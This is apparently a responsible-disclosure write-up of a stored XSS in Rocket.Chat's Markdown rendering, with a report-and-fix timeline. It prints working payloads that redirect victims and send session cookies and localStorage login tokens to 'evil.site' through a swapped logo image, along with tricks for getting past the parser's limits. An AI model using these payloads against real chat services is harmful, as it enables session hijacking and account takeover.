Recently, we’ve observed a strange behavior of the chat service platform we’re using for everyday communication – Rocket.Chat. Rocket.Chat allows users to format their messages with Markdown syntax. Among available options, there is inline code syntax – `code`, which will produce the following message:

and ![title](http://url.to.image), which will result in an image with specified title as an attribute of <a> tag.

However, combining those two together results in a very strange output message – ![`foo`](http://bar) will display:

It looked like some fault in parser, so we couldn’t wait to see if we can exploit it…

Exploitation

Let’s take a closer look at HTML rendered from examples above:

Inline code `s` is rendered as:
<code class="code-colors inline">s</code>

Embedding image ![foo](http://bar) results with:
<a href="http://bar" title="foo" target="_blank"><div class="inline-image" style="background-image: url(http://bar);"></div></a>

When used together in ![`foo`](http://bar):
<a href="&lt;a href=" http:="" bar"="" target="_blank" rel="noopener noreferrer">http://bar</a>" title="`foo`" target="_blank"><div class="inline-image" style="background-image: url(http://bar);"></div>

In the last example we can see weird things: `foo` was not parsed as a code (it remains unchanged as a value of title attribute), and the http://bar value of href attribute was for some reason converted to a HTML link, causing tag nesting. What’s interesting is that the  bar string is treated as an attribute of <a> tag rather than value of href.

We know we can control the attribute name of <a> tag – can we also control the value?

![`foo`](http://bar=val):

<a href="&lt;a href=" http:="" bar="val&quot;" target="_blank" rel="noopener noreferrer">http://bar=val</a>

Partially – yes. Unfortunately, we are restricted by a few constraints. After a couple of tests we knew the following:

  • the value will always end with &quot; suffix
  • we cannot use any spaces
  • double quote (“) and ampersand (&) characters are escaped to HTML entities (< and > aren’t)
  • closing parenthesis – ) is not allowed

Despite those limitations, we’re still able to perform some nasty things. Let’s try to create JavaScript payload that will redirect user to another location. We can use single quote to put our string there and finish the whole line with // to get rid of &quot; suffix. One last question is – how to trigger it?
Unfortunately, <a> tag does not accept onload attribute or any other event that would fire automatically. The best option we’ve found was triggering it with onmouseover event and padding the message with random text so it would take as much space on a screen as possible. Our final payload will look like this:
![`s`](http://onmouseover=window.location='http://evil.site';//)

Everything works as expected – after moving mouse over the message we’re redirected to http://evil.site.

Next steps

Taking a closer look at Rocket.Chat web application shows that user’s session is stored as two values: user id and login token. Both are available in local storage as well as cookies that are not marked as HTTP Only. This makes it possible to create a payload for session hijacking:

![`s`](http://onmouseover=window.location='http://evil.site?cookie='+document.cookie;//)

This will send the necessary values to an attacker-controlled website. By replacing those values in cookies and local storage, we can take control over victim’s account.

We have an XSS that steals user’s session, but it’s extremely noticeable – redirection would instantly raise suspicions. Our next step is to make it harder to detect. It would be best if we could run external scripts, for example by simply adding <script src="https://evil.site/script.js"></script> to some DOM element. We know we cannot use getElementById  since calling a function requires a closing parenthesis. However, we can inspect DOM tree via  document.body, document.images, document.links, etc.

After a short research we’ve found out that the last element of document.images list is <img> tag with Rocket.Chat logo. If we could replace it with the same image and leak data via URL eg. <img src="http://evil.site/logo.png?[SECRET_DATA]">, we’d be able to steal session data without any visible changes.
To do this, we can try to modify innerHTML of parent element and replace original image with our own.  Session-stealing JS payload will look like this:

document.images[document.images.length-1].parentNode.innerHTML='<img src=http://evil.site?'+localStorage['Meteor.loginToken']+'XXX'+localStorage['Meteor.userId']+'>'

This code will force browser to load data from external server with given URL, thus sending secret data to attacker. The only noticeable side-effect of this method could be a short blink when new image is being loaded.

There’s only one thing left – space character between img and src. Fortunately, there is a well-known trick to solve this issue – we can use slash instead of space. The following payload will work:

![`s`](http://onmouseover=document.images[document.images.length-1].parentNode.innerHTML='<img/src=http://evil.site?'+localStorage['Meteor.loginToken']+'XXX'+localStorage['Meteor.userId']+'>';//)

 Now the attacker only needs to host Rocket.Chat logo on his server to be able to steal user sessions in an inconspicuous way. To make it even harder to detect, we could add JavaScript code that clears the message using method shown above.

The bug has been reported to Rocket.Chat’s security team and has been fixed in release 0.58.0.

TIMELINE

  • July 28, 2017 – reported
  • July 31, 2017 – fixed
  • August 16, 2017 – Rocket.Chat 0.58.0 released